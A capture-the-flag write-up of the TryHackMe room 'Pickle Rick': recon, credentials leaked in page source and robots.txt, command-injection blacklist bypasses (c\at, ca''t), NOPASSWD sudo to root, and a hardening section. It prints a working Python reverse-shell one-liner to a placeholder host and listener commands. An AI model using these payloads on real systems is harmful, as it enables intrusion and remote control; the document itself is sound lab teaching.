Pickle Rick

The full loop on one host - creds leaked in the page source and robots.txt, a command-execution portal behind a weak blacklist, and NOPASSWD sudo to root. A clinic in why blacklists lose and why sudo rules are privesc.

OS
Linux
Difficulty
Easy
Retired
20 Aug 2020
Skills
web, command-injection, filter-bypass, privesc

Pickle Rick is a TryHackMe room that runs the whole kill chain on a single host: web enumeration, credential discovery, a command-injection portal, filter bypass, and privilege escalation. None of the steps is hard individually; the value is seeing why each defensive control on the box fails - a blacklist that misses trivial obfuscation, secrets left in places that are served to everyone, and a sudo rule that is a one-line path to root.

Path to root, at a glance:
  1. Enumerate the web app -> username in an HTML comment, password in robots.txt.
  2. Log in -> a command-execution portal with a cat blacklist.
  3. Bypass the blacklist -> read the first two ingredients.
  4. sudo -l -> NOPASSWD: ALL -> root -> third ingredient.

Recon - nmap

┌──(kali㉿kali)-[~/THM/PickleRick]
└─$ nmap -sC -sV -p- -A -Pn 10.10.X.X -T5 -oN nmap_scan.txt -v
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.6
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_http-title: Rick is sup4r cool

SSH and HTTP. SSH needs credentials I do not have, so the web server is the surface - and nmap has already flagged a robots.txt with a disallowed entry, which is worth reading precisely because someone wanted crawlers to ignore it.

Enumeration - web

The front page carries a username in an HTML comment - “view source” is enumeration, and theming pages are a reliable place for developers to leave notes:

<!--
  Note to self, remember username!
  Username: R1ckRul3s
-->

robots.txt holds what looks like a password (and is a well-known line from the show, so it reads as a deliberate secret, not a word to ignore):

Wubbalubbadubdub

A directory brute force turns up assets/ but nothing useful; nikto names the login page:

└─$ nikto -h 10.49.135.200
+ /login.php: Admin login page/section found.

So: a credential pair, and somewhere to use it. Neither secret should have been reachable unauthenticated - both the comment and robots.txt are served to anyone.

Foothold - the command-injection portal

Logging in at /login.php with R1ckRul3s / Wubbalubbadubdub lands on /portal.php, which runs commands server-side and shows the output - command injection by design, gated only by a blacklist. It blocks cat, more, head, tail, nl, which is the telling mistake: the developer enumerated the tools they could think of instead of constraining what the input is allowed to be. Two independent ways through:

# Use a reader that is not on the list:
less Sup3rS3cretPickl3Ingred.txt

# Or defeat the string match on 'cat' - the shell reassembles the token
# after it strips the backslash / the empty quotes:
c\at Sup3rS3cretPickl3Ingred.txt
ca''t Sup3rS3cretPickl3Ingred.txt

c\at and ca''t work because the blacklist matches the literal string cat, but the shell removes the backslash and the empty quotes during word expansion and executes cat all the same. The filter and the interpreter disagree about what the input says - which is the root of nearly every filter bypass.

Loot - the three ingredients

less Sup3rS3cretPickl3Ingred.txt
# [ingredient 1]

ls /home/rick/
less "/home/rick/second ingredients"
# [ingredient 2]   (note: file names with spaces need quotes)

The third needs root. Check the sudo rights of the web user:

sudo -l
# User www-data may run the following commands on this host:
#    (ALL) NOPASSWD: ALL

(ALL) NOPASSWD: ALL means www-data can run anything as root with no password - a complete compromise, no exploit required:

sudo less /root/3rd.txt
# [ingredient 3]

Optional - a stable reverse shell

The portal is fine for single commands, but an interactive shell is better for anything real. Feed a reverse shell through it:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# Listener
nc -lnvp 4444

Then stabilise the TTY so job control, arrow keys and less behave:

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Detection and hardening

  • Keep secrets out of what you serve. HTML comments and robots.txt are public; credentials belong in neither. robots.txt advertises sensitive paths rather than hiding them.
  • Whitelist, never blacklist. A deny-list of command names is defeated by c\at, ca''t, less, $(...), and a dozen more. Constrain the input to an allowed set, or remove the shell entirely.
  • Never shell out with user input. If a command must be built, pass arguments as a vector and use escapeshellarg(); better, call the underlying capability directly without a shell.
  • Scope sudo tightly. NOPASSWD: ALL for a web account turns any foothold into instant root - grant specific binaries, and remember that many “safe” ones (less, vi, find) are themselves root shells via GTFOBins.

Lessons

  • Enumeration is where this box is won - both secrets were sitting in plain, served files.
  • Filter bypass is a disagreement between the filter and the interpreter. The blacklist read cat; the shell read cat too, just after expansion the filter never modelled.
  • A sudo rule is an exploit. sudo -l is non-negotiable on every Linux foothold; NOPASSWD: ALL is the whole privesc.